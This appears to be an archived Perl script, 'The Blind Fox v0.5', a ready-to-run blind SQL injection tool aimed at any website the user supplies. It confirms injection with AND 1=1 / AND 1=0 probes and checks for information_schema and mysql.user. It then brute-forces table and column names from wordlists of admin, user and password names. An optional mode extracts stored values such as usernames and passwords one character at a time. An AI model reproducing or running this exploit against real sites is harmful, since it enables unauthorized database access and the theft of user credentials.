./c0de/perl/blindfoxeng.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
#!/usr/bin/perl
 
###########################################################################################
#                           -[+]- The Blind Fox v0.5 | By Login-Root -[+]-              ###
###########################################################################################
 
###########################################################################################
# [+] inf0:                                                                             ###
###########################################################################################
# It Searchs:                                                                           ###
# ===========                                                                           ###
#  - Check AND 1=1 && AND 1=0                                                           ###        
#  - Information_Schema && MySQL.User                                                   ###
#  - Tables                                                                             ###                                                
#  - Columns                                                                            ###
#  - Extract values from tables (Optional)                                              ###
#                                                                                       ###
#  ...and save it on a nice text file.                                                  ###
#                                                                                       ###
###########################################################################################
 
###########################################################################################
# [+] Use:                                                                              ###
###########################################################################################
# perl blindfox.pl [WEBSITE] [PATTERN] [FILE] [-EXT]                                    ###
#   [WEBSITE]: http://www.web.com/index.php?id=4875 (Use a valid number)                ###
#   [PATTERN]: Pattern that exists with AND 1=1, and that does not exist with AND 1=0   ###
#   [FILE]:    File where save the results                                              ###
#   [-EXT]:    To extract user names, passwords, etc. (Optional)                        ###
###########################################################################################
 
###########################################################################################
# [+] c0ntact:                                                                          ###
###########################################################################################
# MSN:    [email protected]                                                          ###
# Jabber: [email protected]                                                             ### 
# E-Mail: [email protected]                                                       ###
###########################################################################################
 
###########################################################################################
# [+] sh0utz:                                                                           ###
###########################################################################################
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; VenoM ; InyeXion                 ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG | WWW.DIOSDELARED.COM                    ###
###########################################################################################
 
###########################################################################################
# ARGENTINA PRODUCT :)                                                                  ###
###########################################################################################
 
use LWP::Simple;
 
if(!$ARGV[2])
	{
		 print "\n\n-[+]- The Blind Fox v0.5 | By Login-Root -[+]-\n==============================================";
		 print "\n\nUse: perl $0 [WEBSITE] [PATTERN] [FILE] [-EXT]\n";
		 print "\n[WEBSITE]: http://www.web.com/index.php?id=4875 (Use a valid number)\n[PATTERN]: Pattern that exists with AND 1=1, and that does not exist with AND 1=0\n[FILE]:    File where save the results\n[-EXT]:    To extract user names, passwords, etc. (Optional)\n\n";
		 exit (0);
	}
 
sub end()
{
	print WEB "\n\n\n[*EOF*]";
    print "\n\n[+] Everything saved correctly in $ARGV[2]\n\n";
    print "## c0ded by Login-Root | 2008 ##\n\n";
    exit (0);  
}    
 
 
@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
	  'name','names','nombre','nombres','member','members','admin_table',
	  'miembro','miembros','membername','admins','administrator','sign',
	  'administrators','passwd','password','passwords','pass','Pass',
	  'tAdmin','tadmin','user_password','usuarios','user_passwords','user_name','user_names',
	  'member_password','mods','mod','moderators','moderator','user_email',
	  'user_emails','user_mail','user_mails','mail','emails','email','address',
	  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
	  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
	  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
	  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
	  'sistema_usuario','sistema_password','contrasena','auth','key','senha','signin',
	  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','club_authors',
      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup',
      'associated','accnt','customers','customer','membres','administrateur','utilisateur',
      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users',
      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
	  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
 
@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
          'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author','user_login',
          'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
          'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
 
if ( $ARGV[0]   !~   /^http:/ ) 
  {
      $ARGV[0] = "http://" . $ARGV[0];
  }
 
open(WEB,">>".$ARGV[2]) || die "\n\n[-] Failed creating the file\n";
print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
print "\n[!] Checking for the pattern...\n";
      $sql=$ARGV[0]." AND 1=1";
      $response=get($sql);
      if($response =~ /$ARGV[1]/)
        {
            print "\n[+] Pattern found with AND 1=1\n";
            print WEB "$sql => OK !\n";
            $sql=$ARGV[0]." AND 1=0";
            $response=get($sql);
            if($response =~ /$ARGV[1]/)
            {
            	print "[-] Pattern found with AND 1=0 too, website possible to not be vulnerable, try with another pattern\n";
            	exit (0);
            }
            else
            {
            	print "[+] Pattern not found with AND 1=0, website vulnerable to Blind SQL Inyection\n";
            	print WEB "$sql => OK !\n";
            }
         }
         else
         		{
         			print "[-] Pattern not found, try with another\n";
         			exit (0);
         		}
        print "\n[!] Checking if Information_Schema exists...";
        $sql=$ARGV[0]." AND (SELECT Count(*) FROM information_schema.tables)";
        $response=get($sql);
         if($response =~ /$ARGV[1]/)
         	{
         		print "\n[+] Information_Schema available...saving in $ARGV[2]";
                print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";
 
         	}
         else
         	{
            	print "\n[-] Information_Schema unavailable";
         	}
        print "\n[!] Checking if MySQL.User exists...";
        $sql=$ARGV[0]." AND (SELECT Count(*) FROM mysql.user)";
        $response=get($sql);
         if($response =~ /$ARGV[1]/)
         	{
         		print "\n[+] MySQL.User available...saving in $ARGV[2]";
                print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";
 
         	}
         else
         	{
            	print "\n[-] MySQL.User unavailable";
         	}
        print "\n\n[!] Bruteforcing tables...";
        print WEB "\n\n[TABLES]:\n\n";
        foreach $tabla(@nombretabla)
         {
                  chomp($tabla);
                  $sql=$ARGV[0]." AND (SELECT Count(*) FROM ".$tabla.")";
                  $response=get($sql);
                  if($response =~ /$ARGV[1]/)
                    {
                        print "\n[+] Table $tabla exists...saving in $ARGV[2]";
                        print WEB "$sql\n";
                    }
                }
        print "\n\n[!] Table to brute force columns: ";
            $tabla.=<STDIN>;
            chomp($tabla);
            print WEB "\n\n[COLUMNS IN $tabla]:\n\n";
            foreach $columna(@nombrecolumna)
            {
             chomp($columna);
             $sql=$ARGV[0]." AND (SELECT Count(".$columna.") FROM ".$tabla.")";
             $response=get($sql);
             if ($response =~ /$ARGV[1]/)
                  {
                      print "\n[+] Column $columna available...saving in $ARGV[2]";
                      print WEB "$sql\n";
                  }
            }
         if ($ARGV[3] =~ /-EXT/)
         {
         	extrac:
         	$columna = '';
         	print "\n\n[!] Column of table $tabla to extract values: ";
         	$columna.=<STDIN>;
            chomp($columna);
         	print "[!] Extracting values from table $tabla and column $columna (Could take a long time)...\n\n";
         	print WEB "\n\n[Values of table $tabla and column $columna]:\n\n";
         	$search = 1;
         	$posicion = 1;
         	$limit = 0;
         	$comprob = 1;
         	while ($search <= 255)
         	{
         		$sql=$ARGV[0]." AND ascii(substring((SELECT " .$columna. " FROM " .$tabla." limit " .$limit.",1),".$posicion.",1)) = " .$search;
         		$response=get($sql);
         		if ($response =~ /$ARGV[1]/)
                  {
                  	  $char = chr($search);
                  	  print WEB "$char";
                  	  print "$char";
                      $search = 0;
                      $posicion++;
                      $comprob++;
                  }
                 if ($search == 255)
                 {
                 	print "\n";
                 	print WEB "\n";
                 	if ($comprob == 1)
                 	{
                 		$eleccion = '';
                 		print "[+] Search finished. Want to extract value from another column? [Y/N]: ";
                 		$eleccion.=<STDIN>;
                 		chomp($eleccion);
                 		if ($eleccion =~ /Y/)
                 		{
                 			goto extrac;
                 		}
                 		else
                 		{
                 		   end();
                 		}
                 	}
                 	$comprob = 1;
                 	$search = 0;
                    $limit++;
                 }
         		$search++;
            }
           }
end();
 

Back